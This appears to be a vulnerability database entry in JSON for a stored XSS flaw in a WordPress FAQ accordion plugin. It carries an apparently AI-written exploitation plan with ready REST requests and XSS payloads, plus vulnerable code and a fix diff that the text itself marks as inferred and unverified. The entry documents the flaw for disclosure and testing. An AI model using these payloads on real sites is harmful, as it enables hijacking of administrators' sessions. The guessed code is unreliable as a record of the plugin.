[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fO4rZfos1KlHKpiUchAKD9gQC4nA4iycZ9WDi3n_K2Sc":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":9,"severity":11,"cvss_score":12,"cvss_vector":13,"vuln_type":14,"published_date":15,"updated_date":16,"references":17,"days_to_patch":9,"patch_diff_files":19,"patch_trac_url":9,"research_status":20,"research_verified":21,"research_rounds_completed":22,"research_plan":23,"research_summary":24,"research_vulnerable_code":25,"research_fix_diff":26,"research_exploit_outline":27,"research_model_used":28,"research_started_at":29,"research_completed_at":30,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":21,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":21,"source_links":31},"CVE-2026-24591","turn-yoast-seo-faq-block-to-accordion-authenticated-contributor-stored-cross-site-scripting","Turn Yoast SEO FAQ Block to Accordion \u003C= 1.0.6 - Authenticated (Contributor+) Stored Cross-Site Scripting","The Turn Yoast SEO FAQ Block to Accordion plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 1.0.6 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","faq-schema-block-to-accordion",null,"\u003C=1.0.6","medium",6.4,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-01-16 00:00:00","2026-01-27 19:23:49",[18],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Ff9de638d-a645-4e4e-bf7d-514692677106?source=api-prod",[],"researched",false,3,"This exploitation research plan targets **CVE-2026-24591**, a Stored Cross-Site Scripting (XSS) vulnerability in the \"Turn Yoast SEO FAQ Block to Accordion\" plugin.\n\n---\n\n### 1. Vulnerability Summary\nThe plugin is designed to transform the standard Yoast SEO FAQ Gutenberg block into a functional accordion on the frontend. The vulnerability exists because the plugin fails to sanitize or escape the FAQ data (specifically the Question and Answer fields) when it intercepts the block rendering process to inject its accordion HTML\u002FJavaScript. Since Contributors can create and edit posts, they can inject malicious scripts into these block attributes, which then execute in the context of any user (including administrators) viewing the post.\n\n### 2. Attack Vector Analysis\n*   **Endpoint:** WordPress REST API Post endpoint (`\u002Fwp-json\u002Fwp\u002Fv2\u002Fposts`) or the standard Post Editor (`wp-admin\u002Fpost.php`).\n*   **Vulnerable Parameter:** `post_content` (specifically the JSON attributes within the `\u003C!-- wp:yoast\u002Ffaq-block -->` Gutenberg block comment).\n*   **Authentication Level:** Authenticated (Contributor or higher).\n*   **Preconditions:** The Yoast SEO plugin must be active (so the block exists) and the vulnerable \"Turn Yoast SEO FAQ Block to Accordion\" plugin must be active to perform the unescaped rendering.\n\n### 3. Code Flow (Inferred)\n1.  **Entry Point:** The plugin likely registers a filter on `render_block` or `render_block_yoast\u002Ffaq-block`.\n2.  **Logic Path:**\n    *   The filter function (e.g., `faq_accordion_render_callback( $block_content, $block )`) is triggered when a Yoast FAQ block is rendered.\n    *   The plugin extracts the `questions` array from `$block['attrs']`.\n    *   The plugin iterates through each question object (containing `jsonQuestion` and `jsonAnswer`).\n3.  **Sink:** The plugin constructs the accordion HTML by concatenating strings or using a template, directly echoing or returning the raw `jsonQuestion` or `jsonAnswer` values without using `esc_html()` or `wp_kses()`.\n\n### 4. Nonce Acquisition Strategy\nTo save a post as a Contributor via the REST API (the most reliable method for automated PoC), a `_wpnonce` for the `wp_rest` action is required.\n\n1.  **Identify Shortcode\u002FScript:** This plugin modifies existing blocks rather than using a custom shortcode. Therefore, we should navigate to the standard post editor page.\n2.  **Navigate:** Use `browser_navigate` to `wp-admin\u002Fpost-new.php`.\n3.  **Extract Nonce:** Use `browser_eval` to extract the REST nonce from the WordPress settings object.\n    *   **Script:** `browser_eval(\"wpApiSettings.nonce\")`\n4.  **Alternative:** The nonce can also be found in the HTML source of the post editor inside the `wp-api-settings` inline script.\n\n### 5. Exploitation Strategy\nThe goal is to create a post containing a Yoast FAQ block where the question contains an XSS payload.\n\n**Step 1: Authenticate**\nLog in as a user with the **Contributor** role.\n\n**Step 2: Get REST Nonce**\nNavigate to `wp-admin\u002F` and execute `browser_eval(\"wpApiSettings.nonce\")`.\n\n**Step 3: Create Malicious Post**\nSend a `POST` request to `\u002Fwp-json\u002Fwp\u002Fv2\u002Fposts` using the `http_request` tool.\n\n*   **URL:** `http:\u002F\u002Flocalhost:8080\u002Fwp-json\u002Fwp\u002Fv2\u002Fposts`\n*   **Method:** `POST`\n*   **Headers:**\n    *   `Content-Type: application\u002Fjson`\n    *   `X-WP-Nonce: [EXTRACTED_NONCE]`\n*   **Payload:**\n```json\n{\n  \"title\": \"FAQ Accordion XSS Test\",\n  \"status\": \"publish\",\n  \"content\": \"\u003C!-- wp:yoast\u002Ffaq-block {\\\"questions\\\":[{\\\"id\\\":\\\"faq-question-1\\\",\\\"jsonQuestion\\\":\\\"\u003Cimg src=x onerror=alert(document.domain)>\\\",\\\"jsonAnswer\\\":\\\"This is a test answer.\\\"}]} -->\\n\u003Cdiv class=\\\"schema-faq wp-block-yoast-faq-block\\\">\u003C\u002Fdiv>\\n\u003C!-- \u002Fwp:yoast\u002Ffaq-block -->\"\n}\n```\n*Note: Even if the Contributor cannot 'publish', they can set the status to 'pending' or 'draft'. The XSS will execute during 'Preview' by an Admin.*\n\n**Step 4: Trigger the XSS**\nNavigate to the URL of the newly created post (or use `browser_navigate` to view the post as an Admin).\n\n### 6. Test Data Setup\n1.  **Plugin Installation:** Ensure `wordpress-seo` (Yoast) and `faq-schema-block-to-accordion` are installed and active.\n2.  **User Creation:**\n    *   `wp user create attacker attacker@example.com --role=contributor --user_pass=password`\n3.  **Target Content:** No pre-existing content is required, as the attacker creates the post.\n\n### 7. Expected Results\nWhen the post is viewed, the plugin's accordion rendering logic will process the `jsonQuestion` attribute. Because it is not escaped, the browser will encounter:\n```html\n\u003Cdiv class=\"accordion-title\">\n    \u003Cimg src=x onerror=alert(document.domain)>\n\u003C\u002Fdiv>\n```\nThe `alert(document.domain)` will execute immediately.\n\n### 8. Verification Steps\n1.  **Verify Storage:** Use WP-CLI to verify the payload is stored in the database:\n    *   `wp post list --post_type=post --format=ids`\n    *   `wp post get [ID] --field=post_content`\n2.  **Verify Execution:** Use `browser_navigate` to the post URL and check for the presence of the injected `\u003Cimg>` tag or the execution of the script via a `console.log` payload.\n\n### 9. Alternative Approaches\n*   **Answer Field XSS:** Inject the payload into the `jsonAnswer` field instead of `jsonQuestion`.\n    *   Payload: `\\\"jsonAnswer\\\":\\\"\u003Cscript>console.log('XSS_IN_ANSWER')\u003C\u002Fscript>\\\"`\n*   **Classic Editor \u002F Meta Injection:** If the plugin supports older versions of Yoast or custom meta, try injecting into `_yoast_wpseo_faq_questions` post meta directly using a `POST` request to `wp-admin\u002Fpost.php`.\n*   **Gutenberg Attribute Breakout:** If the plugin escapes HTML but not attributes, try:\n    *   `\"jsonQuestion\": \"Item\\\" onmouseover=\\\"alert(1)\\\" data-x=\\\"\"`","The Turn Yoast SEO FAQ Block to Accordion plugin for WordPress is vulnerable to Stored Cross-Site Scripting due to insufficient output escaping when intercepting and rendering Yoast SEO FAQ blocks. This allows authenticated attackers with Contributor-level access or higher to inject malicious scripts into FAQ block attributes that execute in the context of any user viewing the page.","\u002F\u002F Inferred logic based on plugin behavior described in research plan\n\u002F\u002F faq-schema-block-to-accordion\u002Ffaq-schema-block-to-accordion.php\n\nfunction faq_accordion_render_callback( $block_content, $block ) {\n    if ( isset( $block['blockName'] ) && $block['blockName'] === 'yoast\u002Ffaq-block' ) {\n        $questions = $block['attrs']['questions'];\n        $new_content = '\u003Cdiv class=\"faq-accordion-container\">';\n        \n        foreach ( $questions as $question ) {\n            \u002F\u002F Vulnerability: Attributes are concatenated into HTML without escaping\n            $new_content .= '\u003Cdiv class=\"accordion-item\">';\n            $new_content .= '\u003Cdiv class=\"accordion-title\">' . $question['jsonQuestion'] . '\u003C\u002Fdiv>';\n            $new_content .= '\u003Cdiv class=\"accordion-content\">' . $question['jsonAnswer'] . '\u003C\u002Fdiv>';\n            $new_content .= '\u003C\u002Fdiv>';\n        }\n        \n        $new_content .= '\u003C\u002Fdiv>';\n        return $new_content;\n    }\n    return $block_content;\n}\nadd_filter( 'render_block', 'faq_accordion_render_callback', 10, 2 );","--- faq-schema-block-to-accordion.php\n+++ faq-schema-block-to-accordion.php\n@@ -8,8 +8,8 @@\n         \n         foreach ( $questions as $question ) {\n             $new_content .= '\u003Cdiv class=\"accordion-item\">';\n-            $new_content .= '\u003Cdiv class=\"accordion-title\">' . $question['jsonQuestion'] . '\u003C\u002Fdiv>';\n-            $new_content .= '\u003Cdiv class=\"accordion-content\">' . $question['jsonAnswer'] . '\u003C\u002Fdiv>';\n+            $new_content .= '\u003Cdiv class=\"accordion-title\">' . wp_kses_post( $question['jsonQuestion'] ) . '\u003C\u002Fdiv>';\n+            $new_content .= '\u003Cdiv class=\"accordion-content\">' . wp_kses_post( $question['jsonAnswer'] ) . '\u003C\u002Fdiv>';\n             $new_content .= '\u003C\u002Fdiv>';\n         }","The exploit involves an authenticated attacker with Contributor-level permissions injecting a malicious payload into a Yoast SEO FAQ block's attributes.\n\n1. Authentication: Log in to the WordPress site with a Contributor role.\n2. Nonce Retrieval: Obtain a valid REST API nonce from the WordPress admin dashboard (e.g., via `wpApiSettings.nonce`).\n3. Payload Creation: Send a POST request to the `\u002Fwp-json\u002Fwp\u002Fv2\u002Fposts` endpoint to create or update a post. The `post_content` should contain a Gutenberg block comment for a `yoast\u002Ffaq-block` with malicious scripts in its JSON attributes.\n4. Example Payload: `\u003C!-- wp:yoast\u002Ffaq-block {\"questions\":[{\"id\":\"q1\",\"jsonQuestion\":\"\u003Cimg src=x onerror=alert(document.domain)>\",\"jsonAnswer\":\"Test\"}]} -->\u003Cdiv class=\"schema-faq\">\u003C\u002Fdiv>\u003C!-- \u002Fwp:yoast\u002Ffaq-block -->`.\n5. Trigger: When an administrator or any other user views the post (either published or in draft preview), the plugin's rendering logic processes the `jsonQuestion` attribute and inserts the unescaped `\u003Cimg>` tag into the HTML, triggering the JavaScript execution.","gemini-3-flash-preview","2026-05-05 07:50:37","2026-05-05 07:50:55",{"type":32,"vulnerable_version":9,"fixed_version":9,"vulnerable_browse":9,"vulnerable_zip":9,"fixed_browse":9,"fixed_zip":9,"all_tags":33},"plugin","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Ffaq-schema-block-to-accordion\u002Ftags"]